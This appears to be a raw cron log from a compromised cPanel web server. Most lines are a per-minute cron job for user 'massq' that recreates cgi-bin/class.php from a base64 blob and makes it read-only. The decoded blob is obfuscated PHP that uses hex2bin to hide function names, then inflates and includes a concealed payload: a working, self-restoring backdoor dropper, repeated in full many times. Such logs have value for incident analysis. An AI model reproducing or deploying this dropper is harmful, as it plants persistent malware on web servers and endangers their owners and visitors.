Nov 14 21:42:01 server CROND[18687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:42:01 server CROND[18688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 21:43:01 server CROND[19491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:44:01 server CROND[20412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:45:01 server CROND[21280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:45:01 server CROND[21281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:45:01 server CROND[21282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:46:01 server CROND[22277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:47:01 server CROND[23203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:48:02 server CROND[24120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:49:01 server CROND[25148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:50:01 server CROND[26010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 21:50:01 server CROND[26011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:50:01 server CROND[26018]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 21:50:01 server CROND[26017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:50:01 server CROND[26019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:51:01 server CROND[27002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:52:01 server CROND[27937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:53:01 server CROND[28862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:54:01 server CROND[29736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:55:01 server CROND[30665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:55:01 server CROND[30667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
